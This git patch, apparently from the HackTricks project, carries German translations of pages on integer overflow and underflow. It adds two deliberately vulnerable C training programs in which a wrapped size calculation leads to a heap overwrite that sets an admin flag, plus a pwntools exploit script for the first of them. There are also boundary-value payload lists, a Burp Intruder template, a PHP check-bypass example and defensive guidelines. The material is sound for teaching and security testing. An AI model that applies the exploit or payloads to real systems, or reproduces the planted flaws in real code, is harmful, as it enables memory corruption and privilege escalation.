From 382848ef1ef0d66079246ae89195a876a2947c40 Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 7 Sep 2025 14:58:26 +0000 Subject: [PATCH] Translated ['src/binary-exploitation/integer-overflow-and-underflow.md', --- src/SUMMARY.md | 2 +- .../integer-overflow-and-underflow.md | 368 ++++++++++++++++++ src/binary-exploitation/integer-overflow.md | 115 ------ .../integer-overflow.md | 83 ++-- 4 files changed, 411 insertions(+), 157 deletions(-) create mode 100644 src/binary-exploitation/integer-overflow-and-underflow.md delete mode 100644 src/binary-exploitation/integer-overflow.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 9a62d47c5..dab618a10 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -785,7 +785,7 @@ - [Windows Seh Overflow](binary-exploitation/stack-overflow/windows-seh-overflow.md) - [Array Indexing](binary-exploitation/array-indexing.md) - [Chrome Exploiting](binary-exploitation/chrome-exploiting.md) -- [Integer Overflow](binary-exploitation/integer-overflow.md) +- [Integer Overflow](binary-exploitation/integer-overflow-and-underflow.md) - [Format Strings](binary-exploitation/format-strings/README.md) - [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md) - [Format Strings Template](binary-exploitation/format-strings/format-strings-template.md) diff --git a/src/binary-exploitation/integer-overflow-and-underflow.md b/src/binary-exploitation/integer-overflow-and-underflow.md new file mode 100644 index 000000000..ec61bd005 --- /dev/null +++ b/src/binary-exploitation/integer-overflow-and-underflow.md @@ -0,0 +1,368 @@ +# Integer Overflow + +{{#include ../banners/hacktricks-training.md}} + +## Basic Information + +Im Kern eines **integer overflow** steht die Beschränkung, die durch die **Größe** von Datentypen in der Programmierung und die **Interpretation** der Daten auferlegt wird. + +Zum Beispiel kann ein **8-bit unsigned integer** Werte von **0 bis 255** darstellen. Wenn man versucht, den Wert 256 in einem 8-bit unsigned integer zu speichern, wird er aufgrund der Begrenzung der Speicherkapazität auf 0 zurückgesetzt. Ähnlich gilt für ein **16-bit unsigned integer**, das Werte von **0 bis 65,535** aufnehmen kann: Wenn man 1 zu 65,535 addiert, wird der Wert wieder auf 0 zurückgesetzt. + +Außerdem kann ein **8-bit signed integer** Werte von **-128 bis 127** darstellen. Das liegt daran, dass ein Bit zur Darstellung des Vorzeichens (positiv oder negativ) verwendet wird und 7 Bits für die Magnitude verbleiben. Die negativste Zahl wird als **-128** dargestellt (binär `10000000`) und die positivste Zahl ist **127** (binär `01111111`). + +Maximalwerte für gängige Integer-Typen: +| Typ | Größe (bits) | Min. Wert | Max. Wert | +|----------------|--------------|---------------------|--------------------| +| int8_t | 8 | -128 | 127 | +| uint8_t | 8 | 0 | 255 | +| int16_t | 16 | -32,768 | 32,767 | +| uint16_t | 16 | 0 | 65,535 | +| int32_t | 32 | -2,147,483,648 | 2,147,483,647 | +| uint32_t | 32 | 0 | 4,294,967,295 | +| int64_t | 64 | -9,223,372,036,854,775,808 | 9,223,372,036,854,775,807 | +| uint64_t | 64 | 0 | 18,446,744,073,709,551,615 | + +Ein short entspricht einem `int16_t`, ein int entspricht einem `int32_t` und ein long entspricht einem `int64_t` in 64-Bit-Systemen. + +### Max values + +Für mögliche **web vulnerabilities** ist es sehr interessant, die maximal unterstützten Werte zu kennen: + +{{#tabs}} +{{#tab name="Rust"}} +```rust +fn main() { + +let mut quantity = 2147483647; + +let (mul_result, _) = i32::overflowing_mul(32767, quantity); +let (add_result, _) = i32::overflowing_add(1, quantity); + +println!("{}", mul_result); +println!("{}", add_result); +} +``` +{{#endtab}} + +{{#tab name="C"}} +```c +#include +#include + +int main() { +int a = INT_MAX; +int b = 0; +int c = 0; + +b = a * 100; +c = a + 1; + +printf("%d\n", INT_MAX); +printf("%d\n", b); +printf("%d\n", c); +return 0; +} +``` +{{#endtab}} +{{#endtabs}} + +## Beispiele + +### Pure overflow + +Das ausgegebene Ergebnis wird 0 sein, da wir das char überlaufen haben: +```c +#include + +int main() { +unsigned char max = 255; // 8-bit unsigned integer +unsigned char result = max + 1; +printf("Result: %d\n", result); // Expected to overflow +return 0; +} +``` +### Konvertierung von vorzeichenbehafteten zu vorzeichenlosen Ganzzahlen + +Betrachten Sie eine Situation, in der eine vorzeichenbehaftete Ganzzahl aus der Benutzereingabe gelesen und anschließend in einem Kontext verwendet wird, der sie als vorzeichenlose Ganzzahl behandelt, ohne eine ordnungsgemäße Validierung: +```c +#include + +int main() { +int userInput; // Signed integer +printf("Enter a number: "); +scanf("%d", &userInput); + +// Treating the signed input as unsigned without validation +unsigned int processedInput = (unsigned int)userInput; + +// A condition that might not work as intended if userInput is negative +if (processedInput > 1000) { +printf("Processed Input is large: %u\n", processedInput); +} else { +printf("Processed Input is within range: %u\n", processedInput); +} + +return 0; +} +``` +In diesem Beispiel wird eine vom Benutzer eingegebene negative Zahl aufgrund der Interpretation von Binärwerten als große vorzeichenlose Ganzzahl interpretiert, was zu unerwartetem Verhalten führen kann. + +### macOS Overflow Beispiel +```c +#include +#include +#include +#include +#include + +/* +* Realistic integer-overflow → undersized allocation → heap overflow → flag +* Works on macOS arm64 (no ret2win required; avoids PAC/CFI). +*/ + +__attribute__((noinline)) +void win(void) { +puts("🎉 EXPLOITATION SUCCESSFUL 🎉"); +puts("FLAG{integer_overflow_to_heap_overflow_on_macos_arm64}"); +exit(0); +} + +struct session { +int is_admin; // Target to flip from 0 → 1 +char note[64]; +}; + +static size_t read_stdin(void *dst, size_t want) { +// Read in bounded chunks to avoid EINVAL on large nbyte (macOS PTY/TTY) +const size_t MAX_CHUNK = 1 << 20; // 1 MiB per read (any sane cap is fine) +size_t got = 0; + +printf("Requested bytes: %zu\n", want); + +while (got < want) { +size_t remain = want - got; +size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain; + +ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk); +if (n > 0) { +got += (size_t)n; +continue; +} +if (n == 0) { +// EOF – stop; partial reads are fine for our exploit +break; +} +// n < 0: real error (likely EINVAL when chunk too big on some FDs) +perror("read"); +break; +} +return got; +} + + +int main(void) { +setvbuf(stdout, NULL, _IONBF, 0); +puts("=== Bundle Importer (training) ==="); + +// 1) Read attacker-controlled parameters (use large values) +size_t count = 0, elem_size = 0; +printf("Entry count: "); +if (scanf("%zu", &count) != 1) return 1; +printf("Entry size: "); +if (scanf("%zu", &elem_size) != 1) return 1; + +// 2) Compute total bytes with a 32-bit truncation bug (vulnerability) +// NOTE: 'product32' is 32-bit → wraps; then we add a tiny header. +uint32_t product32 = (uint32_t)(count * elem_size);//<-- Integer overflow because the product is converted to 32-bit. +/* So if you send "4294967296" (0x1_00000000 as count) and 1 as element --> 0x1_00000000 * 1 = 0 in 32bits +Then, product32 = 0 +*/ +uint32_t alloc32 = product32 + 32; // alloc32 = 0 + 32 = 32 +printf("[dbg] 32-bit alloc = %u bytes (wrapped)\n", alloc32); + +// 3) Allocate a single arena and lay out [buffer][slack][session] +// This makes adjacency deterministic (no reliance on system malloc order). +const size_t SLACK = 512; +size_t arena_sz = (size_t)alloc32 + SLACK; // 32 + 512 = 544 (0x220) +unsigned char *arena = (unsigned char*)malloc(arena_sz); +if (!arena) { perror("malloc"); return 1; } +memset(arena, 0, arena_sz); + +unsigned char *buf = arena; // In this buffer the attacker will copy data +struct session *sess = (struct session*)(arena + (size_t)alloc32 + 16); // The session is stored right after the buffer + alloc32 (32) + 16 = buffer + 48 +sess->is_admin = 0; +strncpy(sess->note, "regular user", sizeof(sess->note)-1); + +printf("[dbg] arena=%p buf=%p alloc32=%u sess=%p offset_to_sess=%zu\n", +(void*)arena, (void*)buf, alloc32, (void*)sess, +((size_t)alloc32 + 16)); // This just prints the address of the pointers to see that the distance between "buf" and "sess" is 48 (32 + 16). + +// 4) Copy uses native size_t product (no truncation) → It generates an overflow +size_t to_copy = count * elem_size; // <-- Large size_t +printf("[dbg] requested copy (size_t) = %zu\n", to_copy); + +puts(">> Send bundle payload on stdin (EOF to finish)..."); +size_t got = read_stdin(buf, to_copy); // <-- Heap overflow vulnerability that can bue abused to overwrite sess->is_admin to 1 +printf("[dbg] actually read = %zu bytes\n", got); + +// 5) Privileged action gated by a field next to the overflow target +if (sess->is_admin) { +puts("[dbg] admin privileges detected"); +win(); +} else { +puts("[dbg] normal user"); +} +return 0; +} +``` +Kompiliere es mit: +```bash +clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \ +-o int_ovf_heap_priv int_ovf_heap_priv.c +``` +#### Exploit +```python +# exploit.py +from pwn import * + +# Keep logs readable; switch to "debug" if you want full I/O traces +context.log_level = "info" + +EXE = "./int_ovf_heap_priv" + +def main(): +# IMPORTANT: use plain pipes, not PTY +io = process([EXE]) # stdin=PIPE, stdout=PIPE by default + +# 1) Drive the prompts +io.sendlineafter(b"Entry count: ", b"4294967296") # 2^32 -> (uint32_t)0 +io.sendlineafter(b"Entry size: ", b"1") # alloc32 = 32, offset_to_sess = 48 + +# 2) Wait until it’s actually reading the payload +io.recvuntil(b">> Send bundle payload on stdin (EOF to finish)...") + +# 3) Overflow 48 bytes, then flip is_admin to 1 (little-endian) +payload = b"A" * 48 + p32(1) + +# 4) Send payload, THEN send EOF via half-close on the pipe +io.send(payload) +io.shutdown("send") # <-- this delivers EOF when using pipes, it's needed to stop the read loop from the binary + +# 5) Read the rest (should print admin + FLAG) +print(io.recvall(timeout=5).decode(errors="ignore")) + +if __name__ == "__main__": +main() +``` +### macOS Underflow Beispiel +```c +#include +#include +#include +#include +#include + +/* +* Integer underflow -> undersized allocation + oversized copy -> heap overwrite +* Works on macOS arm64. Data-oriented exploit: flip sess->is_admin. +*/ + +__attribute__((noinline)) +void win(void) { +puts("🎉 EXPLOITATION SUCCESSFUL 🎉"); +puts("FLAG{integer_underflow_heap_overwrite_on_macos_arm64}"); +exit(0); +} + +struct session { +int is_admin; // flip 0 -> 1 +char note[64]; +}; + +static size_t read_stdin(void *dst, size_t want) { +// Read in bounded chunks so huge 'want' doesn't break on PTY/TTY. +const size_t MAX_CHUNK = 1 << 20; // 1 MiB +size_t got = 0; +printf("[dbg] Requested bytes: %zu\n", want); +while (got < want) { +size_t remain = want - got; +size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain; +ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk); +if (n > 0) { got += (size_t)n; continue; } +if (n == 0) break; // EOF: partial read is fine +perror("read"); break; +} +return got; +} + +int main(void) { +setvbuf(stdout, NULL, _IONBF, 0); +puts("=== Packet Importer (UNDERFLOW training) ==="); + +size_t total_len = 0; +printf("Total packet length: "); +if (scanf("%zu", &total_len) != 1) return 1; // Suppose it's "8" + +const size_t HEADER = 16; + +// **BUG**: size_t underflow if total_len < HEADER +size_t payload_len = total_len - HEADER; // <-- UNDERFLOW HERE if total_len < HEADER --> Huge number as it's unsigned +// If total_len = 8, payload_len = 8 - 16 = -8 = 0xfffffffffffffff8 = 18446744073709551608 (on 64bits - huge number) +printf("[dbg] total_len=%zu, HEADER=%zu, payload_len=%zu\n", +total_len, HEADER, payload_len); + +// Build a deterministic arena: [buf of total_len][16 gap][session][slack] +const size_t SLACK = 256; +size_t arena_sz = total_len + 16 + sizeof(struct session) + SLACK; // 8 + 16 + 72 + 256 = 352 (0x160) +unsigned char *arena = (unsigned char*)malloc(arena_sz); +if (!arena) { perror("malloc"); return 1; } +memset(arena, 0, arena_sz); + +unsigned char *buf = arena; +struct session *sess = (struct session*)(arena + total_len + 16); +// The offset between buf and sess is total_len + 16 = 8 + 16 = 24 (0x18) +sess->is_admin = 0; +strncpy(sess->note, "regular user", sizeof(sess->note)-1); + +printf("[dbg] arena=%p buf=%p total_len=%zu sess=%p offset_to_sess=%zu\n", +(void*)arena, (void*)buf, total_len, (void*)sess, total_len + 16); + +puts(">> Send payload bytes (EOF to finish)..."); +size_t got = read_stdin(buf, payload_len); +// The offset between buf and sess is 24 and the payload_len is huge so we can overwrite sess->is_admin to set it as 1 +printf("[dbg] actually read = %zu bytes\n", got); + +if (sess->is_admin) { +puts("[dbg] admin privileges detected"); +win(); +} else { +puts("[dbg] normal user"); +} +return 0; +} +``` +Kompiliere es mit: +```bash +clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \ +-o int_underflow_heap int_underflow_heap.c +``` +### Weitere Beispiele + +- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html) +- Nur 1B wird verwendet, um die Größe des Passworts zu speichern, sodass es möglich ist, es zu overflowen und es glauben zu lassen, dass seine Länge 4 ist, obwohl sie tatsächlich 260 beträgt, um die length check protection zu bypassen +- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html) + +- Gegeben ein Paar Zahlen, finde mit z3 eine neue Zahl, die multipliziert mit der ersten die zweite ergibt: + +``` +(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569) +``` + +- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/) +- Nur 1B wird verwendet, um die Größe des Passworts zu speichern, sodass es möglich ist, es zu overflowen und es glauben zu lassen, dass seine Länge 4 ist, obwohl sie tatsächlich 260 beträgt, um die length check protection zu bypassen und im stack die nächste lokale Variable zu overwriteen und beide protections zu bypassen + +## ARM64 + +Das ändert sich **nicht in ARM64**, wie man in [**diesem Blogpost**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/) sehen kann. + +{{#include ../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/integer-overflow.md b/src/binary-exploitation/integer-overflow.md deleted file mode 100644 index c62d14f66..000000000 --- a/src/binary-exploitation/integer-overflow.md +++ /dev/null @@ -1,115 +0,0 @@ -# Integer Overflow - -{{#include ../banners/hacktricks-training.md}} - -## Grundinformationen - -Im Kern eines **Integer Overflow** steht die Einschränkung, die durch die **Größe** der Datentypen in der Computerprogrammierung und die **Interpretation** der Daten auferlegt wird. - -Zum Beispiel kann ein **8-Bit unsigned Integer** Werte von **0 bis 255** darstellen. Wenn Sie versuchen, den Wert 256 in einem 8-Bit unsigned Integer zu speichern, wird er aufgrund der Begrenzung seiner Speicherkapazität auf 0 zurückgesetzt. Ähnlich verhält es sich bei einem **16-Bit unsigned Integer**, der Werte von **0 bis 65.535** halten kann; das Hinzufügen von 1 zu 65.535 setzt den Wert wieder auf 0 zurück. - -Darüber hinaus kann ein **8-Bit signed Integer** Werte von **-128 bis 127** darstellen. Dies liegt daran, dass ein Bit verwendet wird, um das Vorzeichen (positiv oder negativ) darzustellen, wodurch 7 Bits zur Darstellung der Größe verbleiben. Die negativste Zahl wird als **-128** (binär `10000000`) dargestellt, und die positivste Zahl ist **127** (binär `01111111`). - -### Maximalwerte - -Für potenzielle **Web-Sicherheitsanfälligkeiten** ist es sehr interessant, die maximal unterstützten Werte zu kennen: - -{{#tabs}} -{{#tab name="Rust"}} -```rust -fn main() { - -let mut quantity = 2147483647; - -let (mul_result, _) = i32::overflowing_mul(32767, quantity); -let (add_result, _) = i32::overflowing_add(1, quantity); - -println!("{}", mul_result); -println!("{}", add_result); -} -``` -{{#endtab}} - -{{#tab name="C"}} -```c -#include -#include - -int main() { -int a = INT_MAX; -int b = 0; -int c = 0; - -b = a * 100; -c = a + 1; - -printf("%d\n", INT_MAX); -printf("%d\n", b); -printf("%d\n", c); -return 0; -} -``` -{{#endtab}} -{{#endtabs}} - -## Beispiele - -### Reiner Überlauf - -Das gedruckte Ergebnis wird 0 sein, da wir das Zeichen überlaufen haben: -```c -#include - -int main() { -unsigned char max = 255; // 8-bit unsigned integer -unsigned char result = max + 1; -printf("Result: %d\n", result); // Expected to overflow -return 0; -} -``` -### Signed to Unsigned Conversion - -Betrachten Sie eine Situation, in der eine vorzeichenbehaftete Ganzzahl aus der Benutzereingabe gelesen und dann in einem Kontext verwendet wird, der sie als vorzeichenlose Ganzzahl behandelt, ohne angemessene Validierung: -```c -#include - -int main() { -int userInput; // Signed integer -printf("Enter a number: "); -scanf("%d", &userInput); - -// Treating the signed input as unsigned without validation -unsigned int processedInput = (unsigned int)userInput; - -// A condition that might not work as intended if userInput is negative -if (processedInput > 1000) { -printf("Processed Input is large: %u\n", processedInput); -} else { -printf("Processed Input is within range: %u\n", processedInput); -} - -return 0; -} -``` -In diesem Beispiel wird eine negative Zahl als große unsigned Integer interpretiert, was auf die Art und Weise zurückzuführen ist, wie binäre Werte interpretiert werden, was potenziell zu unerwartetem Verhalten führen kann. - -### Weitere Beispiele - -- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html) -- Es wird nur 1B verwendet, um die Größe des Passworts zu speichern, sodass es möglich ist, einen Überlauf zu erzeugen und es glauben zu lassen, dass die Länge 4 beträgt, während sie tatsächlich 260 ist, um den Schutz der Längenüberprüfung zu umgehen. -- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html) - -- Gegeben sind ein paar Zahlen, finde mit z3 eine neue Zahl, die multipliziert mit der ersten die zweite ergibt: - -``` -(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569) -``` - -- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/) -- Es wird nur 1B verwendet, um die Größe des Passworts zu speichern, sodass es möglich ist, einen Überlauf zu erzeugen und es glauben zu lassen, dass die Länge 4 beträgt, während sie tatsächlich 260 ist, um den Schutz der Längenüberprüfung zu umgehen und die nächste lokale Variable im Stack zu überschreiben und beide Schutzmaßnahmen zu umgehen. - -## ARM64 - -Dies **ändert sich nicht in ARM64**, wie Sie in [**diesem Blogbeitrag**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/) sehen können. - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/xss-cross-site-scripting/integer-overflow.md b/src/pentesting-web/xss-cross-site-scripting/integer-overflow.md index ad01ea79c..4989523af 100644 --- a/src/pentesting-web/xss-cross-site-scripting/integer-overflow.md +++ b/src/pentesting-web/xss-cross-site-scripting/integer-overflow.md @@ -1,46 +1,45 @@ -# Integer Overflow (Webanwendungen) +# Integer Overflow (Web Applications) {{#include ../../banners/hacktricks-training.md}} -> Diese Seite konzentriert sich darauf, wie **Integer-Überläufe/Trunkierungen in Webanwendungen und Browsern ausgenutzt werden können**. Für Exploitation-Primitiven in nativen Binaries können Sie die spezielle Seite weiterlesen: +> Diese Seite konzentriert sich darauf, wie **integer overflows/truncations in Webanwendungen und Browsern missbraucht werden können**. Für exploitation primitives innerhalb nativer Binaries kannst du die dedizierte Seite weiterlesen: > > {{#ref}} > ../../binary-exploitation/integer-overflow-and-underflow.md -> -{{#endref}} +> {{#endref}} --- -## 1. Warum Integer-Mathematik im Web weiterhin wichtig ist +## 1. Why integer math still matters on the web -Obwohl die meisten Geschäftslogiken in modernen Stacks in *speichersicheren* Sprachen geschrieben sind, wird die zugrunde liegende Laufzeit (oder Drittanbieterbibliotheken) letztendlich in C/C++ implementiert. Immer wenn benutzerkontrollierte Zahlen verwendet werden, um Puffer zuzuweisen, Offsets zu berechnen oder Längenprüfungen durchzuführen, **kann ein 32-Bit- oder 64-Bit-Überlauf einen scheinbar harmlosen Parameter in einen Out-of-Bounds-Lese-/Schreibzugriff, einen Logik-Bypass oder einen DoS verwandeln**. +Auch wenn die meiste Business-Logic in modernen Stacks in *memory-safe* Sprachen geschrieben ist, wird die zugrundeliegende Laufzeit (oder Drittanbieter-Bibliotheken) letztlich in C/C++ implementiert. Wann immer benutzerkontrollierte Zahlen zum Allokieren von Buffern, Berechnen von Offsets oder zur Längenprüfung verwendet werden, kann **ein 32-Bit- oder 64-Bit-Wrap-around einen scheinbar harmlosen Parameter in einen Out-of-Bounds-Lese-/Schreibzugriff, eine Logik-Umgehung oder einen DoS verwandeln**. -Typische Angriffsfläche: +Typische Angriffsflächen: -1. **Numerische Anfrageparameter** – klassische ID-, Offset- oder Zählfelder. -2. **Längen-/Größen-Header** – Content-Length, WebSocket-Rahmenlänge, HTTP/2 continuation_len usw. -3. **Dateiformat-Metadaten, die serverseitig oder clientseitig geparst werden** – Bilddimensionen, Chunk-Größen, Schriftarttabellen. -4. **Sprachebene-Konvertierungen** – signed↔unsigned-Casts in PHP/Go/Rust FFI, JS Number → int32-Trunkierungen innerhalb von V8. -5. **Authentifizierung & Geschäftslogik** – Gutscheinwert, Preis oder Kontoberechnungen, die stillschweigend überlaufen. +1. **Numeric request parameters** – klassische id-, offset- oder count-Felder. +2. **Length / size headers** – Content-Length, WebSocket frame length, HTTP/2 continuation_len, etc. +3. **File-format metadata parsed server-side or client-side** – Bilddimensionen, Chunk-Größen, Font-Tabellen. +4. **Language-level conversions** – signed↔unsigned casts in PHP/Go/Rust FFI, JS Number → int32 truncations inside V8. +5. **Authentication & business logic** – coupon value, price, oder balance-Berechnungen, die still überlaufen. --- -## 2. Aktuelle reale Schwachstellen (2023-2025) +## 2. Recent real-world vulnerabilities (2023-2025) -| Jahr | Komponente | Grundursache | Auswirkung | +| Year | Component | Root cause | Impact | |------|-----------|-----------|--------| -| 2023 | **libwebp – CVE-2023-4863** | 32-Bit-Multiplikationsüberlauf bei der Berechnung der dekodierten Pixelgröße | Auslöser eines Chrome 0-Day (BLASTPASS auf iOS), ermöglichte *Remote Code Execution* im Renderer-Sandbox. | -| 2024 | **V8 – CVE-2024-0519** | Trunkierung auf 32-Bit beim Vergrößern eines JSArray führt zu OOB-Schreibzugriff auf den Backing Store | Remote Code Execution nach einem einzigen Besuch. | -| 2025 | **Apollo GraphQL Server** (nicht veröffentlichter Patch) | 32-Bit-signierter Integer für erste/letzte Paginierungsargumente; negative Werte überlaufen zu riesigen positiven Werten | Logik-Bypass & Speicherauslastung (DoS). | +| 2023 | **libwebp – CVE-2023-4863** | 32-bit multiplication overflow when computing decoded pixel size | Triggered a Chrome 0-day (BLASTPASS on iOS), allowed *remote code execution* inside the renderer sandbox. | +| 2024 | **V8 – CVE-2024-0519** | Truncation to 32-bit when growing a JSArray leads to OOB write on the backing store | Remote code execution after a single visit. | +| 2025 | **Apollo GraphQL Server** (unreleased patch) | 32-bit signed integer used for first/last pagination args; negative values wrap to huge positives | Logik-Umgehung & Speicherauslastung (DoS). | --- -## 3. Teststrategie +## 3. Testing strategy -### 3.1 Grenzwert-Cheat-Sheet +### 3.1 Boundary-value cheat-sheet -Senden Sie **extreme signed/unsigned Werte**, wo immer ein Integer erwartet wird: +Sende **extreme signed/unsigned values** überall dort, wo eine Integer erwartet wird: ``` -1, 0, 1, 127, 128, 255, 256, @@ -49,9 +48,9 @@ Senden Sie **extreme signed/unsigned Werte**, wo immer ein Integer erwartet wird 9223372036854775807, 9223372036854775808, 0x7fffffff, 0x80000000, 0xffffffff ``` -Andere nützliche Formate: -* Hex (0x100), oktal (0377), wissenschaftlich (1e10), JSON big-int (9999999999999999999). -* Sehr lange Ziffernfolgen (>1kB), um benutzerdefinierte Parser zu treffen. +Weitere nützliche Formate: +* Hex (0x100), octal (0377), scientific (1e10), JSON big-int (9999999999999999999). +* Sehr lange Ziffernfolgen (>1kB), um benutzerdefinierte Parser auszulösen. ### 3.2 Burp Intruder-Vorlage ``` @@ -60,17 +59,17 @@ Payload type: Numbers From: -10 To: 4294967300 Step: 1 Pad to length: 10, Enable hex prefix 0x ``` -### 3.3 Fuzzing-Bibliotheken & Laufzeiten +### 3.3 Fuzzing-Bibliotheken & Laufzeitumgebungen -* **AFL++/Honggfuzz** mit libFuzzer-Harness um den Parser (z.B. WebP, PNG, protobuf). -* **Fuzzilli** – grammatikbewusstes Fuzzing von JavaScript-Engines, um V8/JSC-Ganzzahltruncierungen zu treffen. -* **boofuzz** – Fuzzing von Netzwerkprotokollen (WebSocket, HTTP/2) mit Fokus auf Längenfelder. +* **AFL++/Honggfuzz** mit libFuzzer-Harness rund um den Parser (z. B. WebP, PNG, protobuf). +* **Fuzzilli** – grammatikbasiertes fuzzing von JavaScript-Engines, um Integer-Abschneidungen in V8/JSC auszulösen. +* **boofuzz** – fuzzing von Netzwerkprotokollen (WebSocket, HTTP/2) mit Fokus auf Längenfelder. --- -## 4. Ausnutzungsmuster +## 4. Exploitation patterns -### 4.1 Logik-Umgehung im serverseitigen Code (PHP-Beispiel) +### 4.1 Logic bypass in server-side code (PHP example) ```php $price = (int)$_POST['price']; // expecting cents (0-10000) $total = $price * 100; // ← 32-bit overflow possible @@ -79,26 +78,28 @@ die('Too expensive'); } /* Sending price=21474850 → $total wraps to ‑2147483648 and check is bypassed */ ``` -### 4.2 Heap-Überlauf über Bilddecoder (libwebp 0-Day) -Der verlustfreie WebP-Decoder multiplizierte die Bildbreite × Höhe × 4 (RGBA) innerhalb eines 32-Bit-Ints. Eine manipulierte Datei mit den Abmessungen 16384 × 16384 überläuft die Multiplikation, allokiert einen kurzen Puffer und schreibt anschließend **~1GB** an dekomprimierten Daten über den Heap – was zu RCE in jedem Chromium-basierten Browser vor 116.0.5845.187 führt. +### 4.2 Heap overflow via image decoder (libwebp 0-day) +Der WebP lossless-Decoder multiplizierte Bildbreite × Bildhöhe × 4 (RGBA) innerhalb eines 32-Bit-Ints. Eine manipulierte Datei mit den Abmessungen 16384 × 16384 überläuft die Multiplikation, allokiert einen zu kurzen Puffer und schreibt anschließend **~1GB** dekomprimierter Daten über das Heap hinaus – was zu RCE in jedem Chromium-basierten Browser vor 116.0.5845.187 führt. -### 4.3 Browser-basiertes XSS/RCE-Ketten -1. **Integer-Überlauf** in V8 ermöglicht beliebiges Lesen/Schreiben. -2. Umgehen Sie den Sandbox mit einem zweiten Fehler oder rufen Sie native APIs auf, um ein Payload abzulegen. -3. Das Payload injiziert dann ein bösartiges Skript in den Ursprungs-Kontext → gespeichertes XSS. +### 4.3 Browser-basierte XSS/RCE chain +1. **Integer overflow** in V8 ermöglicht arbitrary read/write. +2. Escape the sandbox mit einem zweiten bug oder rufe native APIs auf, um eine payload abzulegen. +3. Die payload injiziert dann ein bösartiges Script in den origin context → stored XSS. --- -## 5. Verteidigungshinweise +## 5. Verteidigungsrichtlinien -1. **Verwenden Sie breite Typen oder geprüfte Mathematik** – z.B. size_t, Rust checked_add, Go math/bits.Add64. -2. **Validieren Sie Bereiche frühzeitig**: lehnen Sie jeden Wert außerhalb des Geschäftsfelds vor der Arithmetik ab. -3. **Aktivieren Sie Compiler-Sanitizer**: -fsanitize=integer, UBSan, Go-Race-Detektor. -4. **Führen Sie Fuzzing in CI/CD ein** – kombinieren Sie Abdeckungsfeedback mit Grenzkorpora. -5. **Bleiben Sie gepatcht** – Browser-Integer-Überlauf-Bugs werden häufig innerhalb von Wochen ausgenutzt. +1. **Breitere Typen oder checked math verwenden** – z. B. size_t, Rust checked_add, Go math/bits.Add64. +2. **Bereiche frühzeitig validieren**: Werte außerhalb des Business-Domain vor arithmetischen Operationen ablehnen. +3. **Compiler-Sanitizer aktivieren**: -fsanitize=integer, UBSan, Go race detector. +4. **Fuzzing in CI/CD integrieren** – Coverage-Feedback mit Boundary-Corpora kombinieren. +5. **Auf dem aktuellen Stand bleiben** – Browser-Integer-Overflow-Bugs werden häufig innerhalb weniger Wochen ausgenutzt. --- + + ## Referenzen * [NVD CVE-2023-4863 – libwebp Heap Buffer Overflow](https://nvd.nist.gov/vuln/detail/CVE-2023-4863)